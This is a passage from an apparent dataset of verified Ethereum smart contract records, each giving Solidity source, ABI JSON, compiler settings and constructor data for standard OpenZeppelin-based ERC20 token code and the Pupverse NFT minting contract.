* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != 0);
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != 0);
require(value <= _balances[account]);
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"name","type":"string"},{"name":"symbol","type":"string"},{"name":"decimals","type":"uint8"},{"name":"totalSupply","type":"uint256"},{"name":"feeReceiver","type":"address"},{"name":"tokenOwnerAddress","type":"address"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"}] | v0.4.24+commit.e67f0147 | false | 200 | 00000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000001d1533980a62b5ac0715800000000000000000000000000006603cb70464ca51481d4edbb3b927f66f53f4f42000000000000000000000000de5fc0f5bd04bebeb3495bd28b9ca7951441fecf000000000000000000000000000000000000000000000000000000000000000e4275696c64205468652057616c6c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000457414c4c00000000000000000000000000000000000000000000000000000000 | Default | false | bzzr://68bac03c03fccee8a37eb7c8d485f3e7293f5b94960acc491e245a5df51ce1ef |
|||
TokenMintERC20Token | contracts\ERC20\TokenMintERC20Token.sol | 0xf2ad92992fdae601988adf019cf6f3b93d13d910 | Solidity | /**
* @title TokenMintERC20Token
* @author TokenMint.io
*
* @dev Standard ERC20 token with optional functions implemented.
* For full specification of ERC-20 standard see:
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
*/
contract TokenMintERC20Token is ERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string name, string symbol, uint8 decimals, uint256 totalSupply, address feeReceiver, address tokenOwnerAddress) public payable {
_name = name;
_symbol = symbol;
_decimals = decimals;
// set tokenOwnerAddress as owner of all tokens
_mint(tokenOwnerAddress, totalSupply);
// pay the service fee for contract deployment
feeReceiver.transfer(msg.value);
}
// optional functions from ERC20 stardard
/**
* @return the name of the token.
*/
function name() public view returns (string) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"name","type":"string"},{"name":"symbol","type":"string"},{"name":"decimals","type":"uint8"},{"name":"totalSupply","type":"uint256"},{"name":"feeReceiver","type":"address"},{"name":"tokenOwnerAddress","type":"address"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"}] | v0.4.24+commit.e67f0147 | false | 200 | 00000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000001d1533980a62b5ac0715800000000000000000000000000006603cb70464ca51481d4edbb3b927f66f53f4f42000000000000000000000000de5fc0f5bd04bebeb3495bd28b9ca7951441fecf000000000000000000000000000000000000000000000000000000000000000e4275696c64205468652057616c6c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000457414c4c00000000000000000000000000000000000000000000000000000000 | Default | false | bzzr://68bac03c03fccee8a37eb7c8d485f3e7293f5b94960acc491e245a5df51ce1ef |
|||
Pupverse | @openzeppelin/contracts/utils/Address.sol | 0x83c31ea98dae37665a92d9339e31d1a1e382127f | Solidity | // OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | 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ction"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"isWhitelistSalesbtn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mintAmount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nftPerWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"notRevealedURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"walletOfOwner","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"payable","type":"function"}] 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||
Pupverse | @openzeppelin/contracts/utils/introspection/IERC165.sol | 0x83c31ea98dae37665a92d9339e31d1a1e382127f | Solidity | // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
} | 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ction"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"isWhitelistSalesbtn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mintAmount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nftPerWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"notRevealedURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"walletOfOwner","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"payable","type":"function"}] | v0.8.11+commit.d7f03943 | false | 200 | 000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000036697066733a2f2f516d5669645169524839766b583566324a7963654e4a7866356e43526263324b62584838476852355a513738334d2f000000000000000000000000000000000000000000000000000000000000000000000000000000000035697066733a2f2f516d5843415a3744744d686a6959445a5932696b317753474377694a57333159316b4c64784d4d643838527669570000000000000000000000 | Default | MIT | false | ipfs://80d3019502fa5d6c27b64af18fa64c565c3845ae14942e8b7fbd92f40b5317f7 |
||
Pupverse | Pupverse Official (1).sol | 0x83c31ea98dae37665a92d9339e31d1a1e382127f | Solidity | pragma solidity >=0.7.0 <0.9.0;
contract Pupverse is ERC721Enumerable, Ownable {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
string public notRevealedURI;
address[] public WhitelistedWallets;
bool public isWhitelistSales = true;
bool public RevealedActive = false;
bool public isPauseMode = true;
uint256 public PriceNFT = 0.08 ether;
uint256 public WhitelistPrice = 0.03 ether;
uint256 public MaxToken = 10000;
uint256 public nftPerWallet = 10;
mapping(address => uint256) public WalletMintedBalance;
constructor(string memory _initBaseURI,string memory _initNotRevealedURI)
ERC721("Pupverse", "PUPVERSE")
{
Uri_Base(_initBaseURI);
Uri_NotRevealed(_initNotRevealedURI);
}
//INT
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
//MINT
function mint(uint256 _mintAmount) public payable {
require(!isPauseMode, "Pause Mode ON");
uint256 supply = totalSupply();
require(_mintAmount > 0, "Select 1 NFT");
require(supply + _mintAmount <= MaxToken, "Collecton Sold");
if (msg.sender != owner()) {
if (isWhitelistSales == true) {
require(isAddressWhitelisted(msg.sender), "Wallet not Whitelisted");
uint256 ownerMintedCount = WalletMintedBalance[msg.sender];
require(ownerMintedCount + _mintAmount <= nftPerWallet, "Whitelist Sales: Max NFT per Wallet Reached");
require(msg.value >= WhitelistPrice * _mintAmount, "Whitelist Sales: Balance Insufficient");
}
else {
require(msg.value >= PriceNFT * _mintAmount, "Main Sale: Balance Insufficient");
}
}
for (uint256 i = 1; i <= _mintAmount; i++) {
WalletMintedBalance[msg.sender]++;
_safeMint(msg.sender, supply + i);
}
}
function isAddressWhitelisted(address _user) public view returns (bool) {
for (uint i = 0; i < WhitelistedWallets.length; i++) {
if (WhitelistedWallets[i] == _user) {
return true;
}
}
return false;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory)
{
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
if(RevealedActive == false) {
return notRevealedURI;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
function walletOfOwner(address _owner) public view returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
//OWNER
function RevealMode() public onlyOwner {
RevealedActive = true;
}
function addWhitelistedWallets(address[] calldata _users) public onlyOwner {
delete WhitelistedWallets;
WhitelistedWallets = _users;
}
function isPauseModebtn(bool _state) public onlyOwner {
isPauseMode = _state;
}
function isWhitelistSalesbtn(bool _state) public onlyOwner {
isWhitelistSales = _state;
}
function MainPrice(uint256 _newPriceNFT) public onlyOwner {
PriceNFT = _newPriceNFT;
}
function WhitelistPricebtn(uint256 _newWhitelistSalesPrice) public onlyOwner {
WhitelistPrice = _newWhitelistSalesPrice;
}
function Uri_Base(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function Uri_NotRevealed(string memory _notRevealedURI) public onlyOwner {
notRevealedURI = _notRevealedURI;
}
function withdraw() public payable onlyOwner {
(bool pv, ) = payable(owner()).call{value: address(this).balance}("");
require(pv);
}
} | [{"inputs":[{"internalType":"string","name":"_initBaseURI","type":"string"},{"internalType":"string","name":"_initNotRevealedURI","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"_newPriceNFT","type":"uint256"}],"name":"MainPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"MaxToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PriceNFT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"RevealMode","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"RevealedActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"_newBaseURI","type":"string"}],"name":"Uri_Base","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_notRevealedURI","type":"string"}],"name":"Uri_NotRevealed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"WalletMintedBalance","outputs":[{"internalType":"uint2